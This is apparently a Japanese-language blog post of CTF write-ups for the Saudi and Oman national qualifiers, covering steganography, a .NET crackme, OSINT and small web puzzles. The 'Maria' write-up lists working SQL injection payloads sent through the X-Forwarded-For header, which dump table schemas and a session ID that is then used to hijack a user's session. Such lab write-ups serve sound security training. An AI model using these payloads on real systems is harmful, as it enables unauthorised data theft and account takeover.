Quals: Saudi and Oman National Cyber Security CTF

Quals: Saudi and Oman National Cyber Security CTF writeup Try to see me

Category:Digital Forensics
Level:medium
Points:100

Points

you`ll need your glasses or good pair of eyes and some brainzzz.




fileコマンドでファイルタイプを確認します。単なるデータのようです。
$ file final 
final: data
バイナリエディタでファイルを開き、先頭の2バイト(00 00)をBM(42 4D)に書き換えます。ビットマップファイルとして認識されます。画像の右側にうっすらと文字が見えます。

final

ImageJで開いて、[Color]-[Split Channels]を選択します。blueのファイルが見えやすいです。

final.bmp (blue)

画像に書かれている文字列は次のとおりです。
3c034c8ecf5121fc23612ef9d71756b0
この文字列をsubmitしてみますがフラグではないようです。
steghideコマンドを試してみます。
$ steghide --extract -sf final.bmp -p 3c034c8ecf5121fc23612ef9d71756b0 -xf aaa.txt
wrote extracted data to "aaa.txt".
抽出したテキストファイルに記載されている文字列をsubmitしてみるとフラグでした。
フラグは、
d78e573bcae3899be1751e414c17b84c
です。

コンピューター&テクノロジー解体新書
ロン・ホワイト
SBクリエイティブ
2015-09-19


Quals: Saudi and Oman National Cyber Security CTF writeup Maria

Category:Web Security
Level:hard
Points:200

Points

Maria is the only person who can view the flag


URLにアクセスします。Cookieを削除した状態でアクセスすると次のようにResponseにSQL文が記載されています。

1

X-Forwarded-ForタグでIPアドレスを指定してみます。
X-Forwarded-Forとは、HTTPヘッダフィールドの1つであり、ロードバランサなどの機器を経由してWebサーバに接続するクライアントの送信元IPアドレスを特定する際のデファクトスタンダードです。
Fiddlerでリクエストを編集して送信します。

2

X-Forwarded-Forで指定したIPアドレスがSQL文に反映されています。それではSQLインジェクションができないか調べてみます。
X-Forwarded-Forに「' union select 1--」を指定してみます。
3
エラーメッセージが返ってきました。SQLインジェクションができそうです。
union select の列数を4まで増やすとエラーが発生せず正常な応答になります。またそのときPHPSESSIDに4が設定されていますので、4つ目の列に取得したい情報を指定することで情報を得ることができそうです。
X-Forwarded-Forに次のSQL文を指定してみます。
' union select 1, 2, 3, group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
2つのテーブル名が取得できました。
PHPSESSID=nxf8_users%2Cnxf8_sessions;
それでは、nxf8_usersテーブルの列名を取得したいと思います。以下のSQL文を指定します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_users'--
次のようにCREATE TABLE文を取得できました。
PHPSESSID=CREATE+TABLE+%22nxf8_users%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22name%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22email%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22password%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22role%22+varchar%28100%29++DEFAULT+NULL%0A++++++++%29;
パーセントエンコードを復号すると次のようになります。
CREATE TABLE "nxf8_users" (
    "id" int(10) NOT NULL,
    "name" varchar(255)  NOT NULL,
    "email" varchar(255)  NOT NULL,
    "password" varchar(255)  NOT NULL,
    "role" varchar(100)  DEFAULT NULL
);
同様にnxf8_sessionsテーブルのCREATE TABLE文を取得します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_sessions'--
以下の情報が取得できます。
CREATE TABLE "nxf8_sessions" (
    "id" int(10) NOT NULL,
    "user_id" varchar(255)  NOT NULL,
    "ip_address" varchar(255) NOT NULL,
    "session_id" varchar(255)  NOT NULL
); 
nxf8_usersテーブルから"Maria"の情報を取得します。
' union select 1, 2, 3, id FROM nxf8_users where name = 'Maria'--
次の情報が取得できます。MariaのIDは5です。
PHPSESSID=5;
nxf8_sessionsテーブルからuser_id=5の情報を取得します。
' union select 1, 2, 3, session_id FROM nxf8_sessions where user_id = '5'--
次の情報が取得できます。
PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
それではリクエストのクッキーに次の値を設定して要求を投げてみます。
Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
下図のようにフラグが表示されました。
4

フラグは、
aj9dhAdf4
です。

実践 Fiddler
Eric Lawrence
オライリージャパン
2013-05-25


Quals: Saudi and Oman National Cyber Security CTF writeup Hack a nice day

Category:Digital Forensics
Level:medium
Points:100

Points

can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}


fileコマンドでファイルタイプを確認します。普通のJPEGファイルでコメントにbadisbadと記載されています。submitしてみますがこれはフラグではないようです。また、画像ファイルをバイナリエディタで見ても特にフラグらしきものはありません。
$ file info.jpg 
info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3
次にsteghideツールを使ってみます。パスフレーズにjpegファイルのコメントを入力します。
$ steghide extract -sf info.jpg
Enter passphrase: badisbad
wrote extracted data to "flaggg.txt".
ファイルが抽出されました。
フラグは、
flag{Stegn0_1s_n!ce}

Quals: Saudi and Oman National Cyber Security CTF writeup I love this guy

Category:Malware Reverse Engineering
Level:medium
Points:100

Points

Can you find the password to obtain the flag?


fileコマンドでファイルタイプを確認します。.NETアプリケーションです。
$ file ScrambledEgg.exe 
ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dnSpyで.NETアプリケーションを逆コンパイルします。逆コンパイルされたソースコードのButton_Clickイベントの箇所を確認します。
public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();

private void Button_Click(object sender, RoutedEventArgs e)
{
string value = new string(new char[]
{
this.Letters[5],
this.Letters[14],
this.Letters[13],
this.Letters[25],
this.Letters[24]
});
if (this.TextBox1.Text.Equals(value))
{
MessageBox.Show(new string(new char[]
{
this.Letters[5],
this.Letters[11],
this.Letters[0],
this.Letters[6],
this.Letters[26],
this.Letters[8],
this.Letters[28],
this.Letters[11],
this.Letters[14],
this.Letters[21],
this.Letters[4],
this.Letters[28],
this.Letters[5],
this.Letters[14],
this.Letters[13],
this.Letters[25],
this.Letters[24],
this.Letters[27]
}));
}
}
valueとTextBoxの入力値を比較しています。valueは、
FONZY
なので、入力するとフラグが表示されます。
フラグは、
FLAG{I_LOVE_FONZY}

Quals: Saudi and Oman National Cyber Security CTF writeup Just Another Conference

Category:General Information
Level:easy
Points:50

Points

famous Cybersecurity conference runs by OWASP in different locations



Googleでfamous Cybersecurity conference runs by OWASPを検索します。

フラグは、
AppSec
です。



Quals: Saudi and Oman National Cyber Security CTF writeup Back to basics

Category:Web Security
Level:easy
Points:50

Points

not pretty much many options. No need to open a link from a browser, there is always a different way


URLにアクセスするとGoogleにリダイレクトされます。そこでFiddlerでRequestを編集してPOSTでRequestを投げてみます。すると次のようなResponseが返ってきます。
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->
次のようにコードを編集しブラウザで実行します。
<script>
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(_0xa6e5x2)
{
flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}
console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])
-->
</script>
function内のflagの直後にブレークポイントを設定すると、flagの値が確認できます。

1

フラグは、
2b323f9008ed771765cd2259d860baec

Quals: Saudi and Oman National Cyber Security CTF writeup I love images

Category:Digital Forensics
Level:easy
Points:50

Points

A hacker left us something that allows us to track him in this image, can you find it?

ダウンロードしたPNG画像をバイナリエディタで開きます。IENDチャンクの後ろにBASE64でエンコードしたような文字列がくっついています。
IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======
これをbase32でデコードするとフラグが得られます。
フラグは、
FLAG{Not_Only_Base64}
です。

Go言語によるWebアプリケーション開発
Mat Ryer
オライリージャパン
2016-01-22


記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー